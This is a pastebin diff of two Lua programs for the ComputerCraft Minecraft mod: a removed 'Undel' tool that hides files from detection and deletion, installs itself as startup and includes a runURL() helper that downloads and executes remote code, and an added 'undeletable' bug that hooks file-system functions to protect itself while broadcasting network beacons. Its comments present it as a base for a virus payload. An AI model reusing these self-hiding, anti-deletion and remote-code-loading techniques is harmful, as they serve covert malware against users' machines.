SHOW:
|
|
- or go back to the newest paste.
1 | - | -- pastebin get 6ZmEhuJp startup |
1 | + | --Undeletable Rednet 'Bug' program |
2 | - | -- std pb 6ZmEhuJp startup |
2 | + | |
3 | - | --[[ |
3 | + | bugDelay = 2 --in seconds |
4 | - | Let me explain Undel (yes, that's what I called it): |
4 | + | bugMessage = "beep" |
5 | - | Undel is not exactly a virus, as it doesn't carry a payload, but it certainly does help when you add one! |
5 | + | bugSendID = nil |
6 | - | Undel hides a table of filenames from all detection and execution. Even works with folders! |
6 | + | |
7 | - | The idea is that if a computer has a virus, and that virus does something, then the person will remove the virus with a disk... |
7 | + | name = fs.getName(shell.getRunningProgram()) |
8 | - | ...but if the person does not know there is a virus, he will make no effort to remove it! It's so devious! |
8 | + | if not alreadyDone == true then |
9 | - | It doesn't have a payload, so add some code to the end or have it run another hidden file using runActualProgram() |
9 | + | oldfsopen = fs.open |
10 | - | or runURL(). |
10 | + | oldisreadonly = fs.isReadOnly |
11 | oldfsdelete = fs.delete | |
12 | - | Syntax: |
12 | + | oldfsmove = fs.move |
13 | - | "undel" Will hide anything in protectedList. |
13 | + | fs.open = function(path, mode) |
14 | - | "undel <file1> <file2> <file3> ..." Adds all arguments to protectedList, to be hidden. |
14 | + | if fs.getName(path) ~= fs.getName(name) then |
15 | - | "undel install" Moves startup, names itself startup, and adds a unicode character to itself to prevent reading. |
15 | + | return oldfsopen(path, mode) |
16 | - | --]] |
16 | + | |
17 | end | |
18 | - | local tArg = {...} |
18 | + | fs.isReadOnly = function(path) |
19 | if fs.getName(path) ~= fs.getName(name) then | |
20 | - | local function runURL(url, ...) |
20 | + | return oldisreadonly(path) |
21 | - | local program = http.get(url) |
21 | + | |
22 | - | if not program then return false end |
22 | + | return true |
23 | - | program = program.readAll() |
23 | + | |
24 | - | local func = loadstring(program) |
24 | + | |
25 | - | setfenv(func, getfenv()) |
25 | + | fs.delete = function(path) |
26 | - | return func(...) |
26 | + | if fs.getName(path) ~= fs.getName(name) then |
27 | return oldfsdelete(path) | |
28 | else | |
29 | - | local function runCode(...) --Run custom code here before startup! |
29 | + | return |
30 | - | return |
30 | + | |
31 | end | |
32 | fs.move = function(path, dest) | |
33 | - | local programName = shell.getRunningProgram() |
33 | + | if fs.getName(path) ~= fs.getName(name) then |
34 | - | local protectedList = { |
34 | + | return oldfsmove(path, dest) |
35 | - | fs.combine("",shell.getRunningProgram()), |
35 | + | |
36 | - | } |
36 | + | return |
37 | - | if (#tArg > 1) or (tArg[1] ~= "--install") then --Add extra files |
37 | + | |
38 | - | for a = 1, #tArg do |
38 | + | |
39 | - | if tArg[a] == "*" then |
39 | + | |
40 | - | protectedList = fs.list(shell.dir()) |
40 | + | alreadyDone = true |
41 | - | break |
41 | + | |
42 | sides = {"left","right","front","back","top","bottom"} | |
43 | - | table.insert(protectedList,fs.combine("",tArg[a])) |
43 | + | for a = 1, #sides do |
44 | if peripheral.getType(sides[a]) == "modem" then | |
45 | rednet.open(sides[a]) | |
46 | end | |
47 | end | |
48 | - | local function rollOver(input, max) --More useful than it seems. |
48 | + | |
49 | - | return math.floor(input % max) |
49 | + | function bug() |
50 | while true do | |
51 | if bugSendID then | |
52 | - | local function randomString(input) |
52 | + | rednet.send(bugSendID, bugMessage) |
53 | - | local output |
53 | + | |
54 | - | if fs.isDir(input) then |
54 | + | rednet.broadcast(bugMessage) |
55 | - | output = ".." |
55 | + | |
56 | - | else |
56 | + | sleep(bugDelay) |
57 | - | output = "." |
57 | + | |
58 | end | |
59 | - | local alphabet = "abcdefghijklmnopqrstuvwxyz1234567890<>[]()!@#$%^&" |
59 | + | |
60 | - | for a = 1, #input do |
60 | + | function runShell() |
61 | - | local rand = rollOver(string.byte(string.sub(input,a,a)),#alphabet) |
61 | + | shell.run("shell") |
62 | - | output = output..string.sub(alphabet, rand, rand) |
62 | + | |
63 | ||
64 | - | return output |
64 | + | term.clear() |
65 | term.setCursorPos(1,1) | |
66 | ||
67 | - | local protectedListAlternatives = {} |
67 | + | parallel.waitForAny(runShell, bug) |
68 | - | local protectedListFiletypes = {} |
68 | + | |
69 | - | for a = 1, #protectedList do |
69 | + | if term.isColor() then term.setTextColor(colors.yellow) end |
70 | - | table.insert(protectedListAlternatives, randomString(protectedList[a])) |
70 | + | print("Goodbye") |
71 | - | table.insert(protectedListFiletypes, fs.isDir(protectedList[a])) |
71 | + | sleep(1) |
72 | os.shutdown() |